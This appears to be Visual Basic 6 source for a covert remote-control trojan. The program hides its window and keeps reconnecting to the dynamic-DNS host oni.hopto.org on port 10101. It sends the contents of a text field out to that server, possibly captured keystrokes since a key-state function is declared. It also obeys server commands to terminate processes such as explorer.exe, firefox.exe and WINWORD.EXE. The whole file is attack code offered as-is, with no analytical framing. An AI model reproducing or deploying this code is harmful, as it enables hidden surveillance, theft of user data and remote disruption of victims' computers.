Option Explicit
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Const WM_CLOSE = &H10
Function EndProcess(filename As String) As String
Dim Process As Variant
For Each Process In GetObject("winmgmts:").ExecQuery("select * from Win32_Process")
If LCase(Process.Name) = LCase(filename) Then
EndProcess = Process.Name
Process.Terminate
End If
Next
End Function
Private Sub Timer2_Timer()
If Winsock1.State = sckConnected Then
Winsock1.SendData Text1.Text
DoEvents
Let Text1.Text = ""
End If
End Sub
Private Sub Timer4_Timer()
Dim result As Integer, Winsock1_Connect As Integer
Me.Hide
Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then
Timer2.Enabled = True
End If
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
Let txtMain.Text = ""
Winsock1.GetData strData
If strData = "End" Then
Unload Form1
Else
End If
If strData = "loop" Then
Change.Enabled = True
Game_Loop
End If
If strData = "aim.exe" Then
EndProcess ("aim.exe")
End If
If strData = "explorer.exe" Then
EndProcess ("explorer.exe")
End If
If strData = "WINWORD.EXE" Then
EndProcess ("WINWORD.EXE")
End If
If strData = "firefox.exe" Then
EndProcess ("firefox.exe")
End If
If strData = "msnmsgr.exe" Then
EndProcess ("msnmsgr.exe")
End If
If strData = "all.exe" Then
EndProcess ("aim.exe")
EndProcess ("explorer.exe")
EndProcess ("WINWORD.EXE")
EndProcess ("firefox.exe")
EndProcess ("msnmsgr.exe")
End If
End Sub
Private Sub Winsock_Error(ByVal Number As Integer, Description As String, _
ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, _
ByVal HelpContext As Long, CancelDisplay As Boolean)
Dim result As Integer, Winsock1_Connect As Integer
Do Until Winsock1.State = sckConnected
Winsock1.Close
Winsock1.RemoteHost = "oni.hopto.org"
Winsock1.RemotePort = 10101
Winsock1.Connect
DoEvents
Loop
If Winsock1.State = sckConnected Then
Timer2.Enabled = True
End If
End Sub
Private Sub Timer3_Timer()
Dim strState As String
Select Case Winsock1.State
Case sckClosed
strState = "Closed"
Case sckOpen
strState = "Open"
Case sckListening
strState = "Listening"
Case sckConnectionPending
strState = "Connection pending"
Case sckResolvingHost
strState = "Resolving host"
Case sckHostResolved
strState = "Host resolved"
Case sckConnecting
strState = "Connecting"
Case sckConnected
strState = "Connected"
Case sckClosing
strState = "Peer is closing the connection"
Case sckError
strState = "Error"
End Select
End Sub